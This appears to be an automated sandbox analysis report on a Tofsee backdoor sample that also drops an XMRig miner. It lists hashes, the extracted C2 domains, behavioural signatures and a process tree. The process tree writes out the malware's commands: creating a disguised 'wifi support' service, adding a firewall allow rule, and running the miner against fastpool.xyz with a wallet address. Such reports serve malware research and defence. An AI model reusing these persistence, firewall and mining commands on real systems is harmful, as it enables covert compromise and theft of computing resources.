Analysis

  • max time kernel
    143s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    12-06-2022 16:00

General

  • Target

    4851afa56300c12fa2b7b53433ea00ec02697bd0e2357380e302aad1c50f1ce0.exe

  • Size

    218KB

  • MD5

    257af79d81f84005c6e5d914bae32a39

  • SHA1

    3c01831b94342221331727a691b59889efedb115

  • SHA256

    4851afa56300c12fa2b7b53433ea00ec02697bd0e2357380e302aad1c50f1ce0

  • SHA512

    b0c555a2de9fed9e07238d92ead80ace797618f045b68744879e82bd239072aef90522636cf3af55cff28da5c6a493043948ce2e7248ec608647793c8654515d

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4851afa56300c12fa2b7b53433ea00ec02697bd0e2357380e302aad1c50f1ce0.exe
    "C:\Users\Admin\AppData\Local\Temp\4851afa56300c12fa2b7b53433ea00ec02697bd0e2357380e302aad1c50f1ce0.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3380
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\aheeqex\
      2⤵
        PID:1508
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ckcmbmup.exe" C:\Windows\SysWOW64\aheeqex\
        2⤵
          PID:1860
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create aheeqex binPath= "C:\Windows\SysWOW64\aheeqex\ckcmbmup.exe /d\"C:\Users\Admin\AppData\Local\Temp\4851afa56300c12fa2b7b53433ea00ec02697bd0e2357380e302aad1c50f1ce0.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1260
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description aheeqex "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2632
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start aheeqex
          2⤵
          • Launches sc.exe
          PID:3060
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2172
      • C:\Windows\SysWOW64\aheeqex\ckcmbmup.exe
        C:\Windows\SysWOW64\aheeqex\ckcmbmup.exe /d"C:\Users\Admin\AppData\Local\Temp\4851afa56300c12fa2b7b53433ea00ec02697bd0e2357380e302aad1c50f1ce0.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2136
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2768
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2680

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ckcmbmup.exe
        Filesize

        12.8MB

        MD5

        7afea7dbb81356e0b8306674b42be63c

        SHA1

        177a343440af3f990868bc7e2fc0e1b3b7b11707

        SHA256

        2fc2226565d3ae0269fe267fb49ddef09d8029380b7514326484d7996e7f2e56

        SHA512

        1ea54c1edc9805b0d70c50c69d27fc56cdcc85e020b7bba90b145eaee0854025a4969ad1ad5d52e2e299ad87bfe7dd11bb78d6c5d4a107d6f3d7f3a60a348d64

      • C:\Windows\SysWOW64\aheeqex\ckcmbmup.exe
        Filesize

        12.8MB

        MD5

        7afea7dbb81356e0b8306674b42be63c

        SHA1

        177a343440af3f990868bc7e2fc0e1b3b7b11707

        SHA256

        2fc2226565d3ae0269fe267fb49ddef09d8029380b7514326484d7996e7f2e56

        SHA512

        1ea54c1edc9805b0d70c50c69d27fc56cdcc85e020b7bba90b145eaee0854025a4969ad1ad5d52e2e299ad87bfe7dd11bb78d6c5d4a107d6f3d7f3a60a348d64

      • memory/1260-184-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1260-187-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1260-182-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1260-186-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1260-183-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1260-181-0x0000000000000000-mapping.dmp
      • memory/1260-185-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1508-173-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1508-172-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1508-171-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1508-170-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1508-169-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1508-168-0x0000000000000000-mapping.dmp
      • memory/1860-175-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1860-178-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1860-174-0x0000000000000000-mapping.dmp
      • memory/1860-177-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1860-176-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/1860-179-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/2136-423-0x0000000000866000-0x0000000000873000-memory.dmp
        Filesize

        52KB

      • memory/2136-426-0x0000000000400000-0x0000000000652000-memory.dmp
        Filesize

        2.3MB

      • memory/2136-410-0x00000000006B0000-0x00000000006C3000-memory.dmp
        Filesize

        76KB

      • memory/2136-429-0x00000000006B0000-0x00000000006C3000-memory.dmp
        Filesize

        76KB

      • memory/2136-407-0x0000000000866000-0x0000000000873000-memory.dmp
        Filesize

        52KB

      • memory/2172-214-0x0000000000000000-mapping.dmp
      • memory/2632-192-0x0000000000000000-mapping.dmp
      • memory/2680-521-0x00000000032D259C-mapping.dmp
      • memory/2768-486-0x00000000027D0000-0x00000000027E5000-memory.dmp
        Filesize

        84KB

      • memory/2768-487-0x00000000027D0000-0x00000000027E5000-memory.dmp
        Filesize

        84KB

      • memory/2768-415-0x00000000027D9A6B-mapping.dmp
      • memory/3060-203-0x0000000000000000-mapping.dmp
      • memory/3380-137-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-143-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-152-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-153-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-154-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-155-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-157-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-158-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-156-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-159-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-160-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-161-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-163-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-164-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-162-0x0000000000400000-0x0000000000652000-memory.dmp
        Filesize

        2.3MB

      • memory/3380-165-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-166-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-167-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-150-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-149-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-148-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-147-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-146-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-145-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-144-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-151-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-142-0x0000000000660000-0x000000000070E000-memory.dmp
        Filesize

        696KB

      • memory/3380-141-0x0000000000660000-0x000000000070E000-memory.dmp
        Filesize

        696KB

      • memory/3380-139-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-138-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-116-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-136-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-135-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-134-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-133-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-132-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-131-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-130-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-129-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-128-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-127-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-218-0x0000000000400000-0x0000000000652000-memory.dmp
        Filesize

        2.3MB

      • memory/3380-126-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-125-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-124-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-123-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-122-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-121-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-117-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-120-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-118-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB

      • memory/3380-119-0x0000000077610000-0x000000007779E000-memory.dmp
        Filesize

        1.6MB